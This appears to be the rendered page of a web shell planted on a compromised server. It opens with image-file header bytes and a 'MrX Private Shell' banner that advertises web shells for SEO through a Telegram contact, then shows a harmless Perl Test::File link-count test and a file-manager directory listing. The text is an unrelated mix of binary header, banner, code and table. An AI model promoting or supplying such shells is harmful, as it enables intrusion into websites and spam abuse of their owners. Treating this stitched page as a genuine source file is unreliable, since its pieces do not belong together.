����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use strict;
use Test::Builder::Tester;
use Test::More 1;
use_ok( 'Test::File' );
require "./t/setup_common";
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Subroutines are defined
subtest defined_subs => sub {
my @subs = qw( link_count_is_ok link_count_gt_ok link_count_lt_ok );
foreach my $sub ( @subs ) {
no strict 'refs';
ok( defined &{$sub}, "$sub is defined" );
}
};
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Stuff that should work (single link)
my $test_name = "This is my test name";
my $readable = 'readable';
my $readable_sym = 'readable_sym';
my $not_there = 'not_there';
my $dangle_sym = 'dangle_sym';
subtest should_work => sub {
test_out( "ok 1 - $test_name" );
test_out( "ok 2 - readable has a link count of [100]" );
test_out( "ok 3 - $test_name" );
test_out( "ok 4 - readable has a link count of [0]" );
test_out( "ok 5 - $test_name" );
link_count_lt_ok( $readable, 100, $test_name );
link_count_lt_ok( $readable, 100 );
link_count_gt_ok( $readable, 0, $test_name );
link_count_gt_ok( $readable, 0 );
link_count_is_ok( $readable, 1, $test_name );
test_test();
test_out( "ok 1 - $readable has a link count of [1]" );
link_count_is_ok( $readable, 1 );
test_test();
done_testing();
};
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Stuff that should work (multipe links)
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Stuff that should fail (missing file)
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
subtest bad_count => sub {
test_out( "not ok 1 - $test_name" );
test_diag(
"file [$readable] points has [1] links: expected [100]\n" .
" # Failed test '$test_name'\n" .
" # at $0 line " . line_num(+5) . "."
);
link_count_is_ok( $readable, 100, $test_name );
test_test();
test_out( "not ok 1 - $test_name" );
test_diag(
"file [$readable] points has [1] links: expected less than [0]\n" .
" # Failed test '$test_name'\n" .
" # at $0 line " . line_num(+5) . "."
);
link_count_lt_ok( $readable, 0, $test_name );
test_test();
test_out( "not ok 1 - $test_name" );
test_diag(
"file [readable] points has [1] links: expected more than [100]\n" .
" # Failed test '$test_name'\n" .
" # at $0 line " . line_num(+5) . "."
);
link_count_gt_ok( $readable, 100, $test_name );
test_test();
done_testing();
};
done_testing();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| rt | Folder | 0755 |
|
|
| dm_skeleton.t | File | 1.51 KB | 0644 |
|
| file_contains.t | File | 5.05 KB | 0644 |
|
| file_contains_encoded.t | File | 2.96 KB | 0644 |
|
| file_contains_utf8.t | File | 2.97 KB | 0644 |
|
| file_mtime.t | File | 3.02 KB | 0644 |
|
| file_sizes.t | File | 4.71 KB | 0644 |
|
| line_counters.t | File | 5.21 KB | 0644 |
|
| link_counts.t | File | 2.47 KB | 0644 |
|
| links.t | File | 5.23 KB | 0644 |
|
| load.t | File | 158 B | 0644 |
|
| normalize.t | File | 1.81 KB | 0644 |
|
| obviously_non_multi_user.t | File | 1.53 KB | 0644 |
|
| owner.t | File | 5.75 KB | 0644 |
|
| pod.t | File | 129 B | 0644 |
|
| pod_coverage.t | File | 161 B | 0644 |
|
| setup_common | File | 1.89 KB | 0644 |
|
| test_dirs.t | File | 1.42 KB | 0644 |
|
| test_files.t | File | 9.99 KB | 0644 |
|
| test_manifest | File | 282 B | 0644 |
|
| win32.t | File | 929 B | 0644 |
|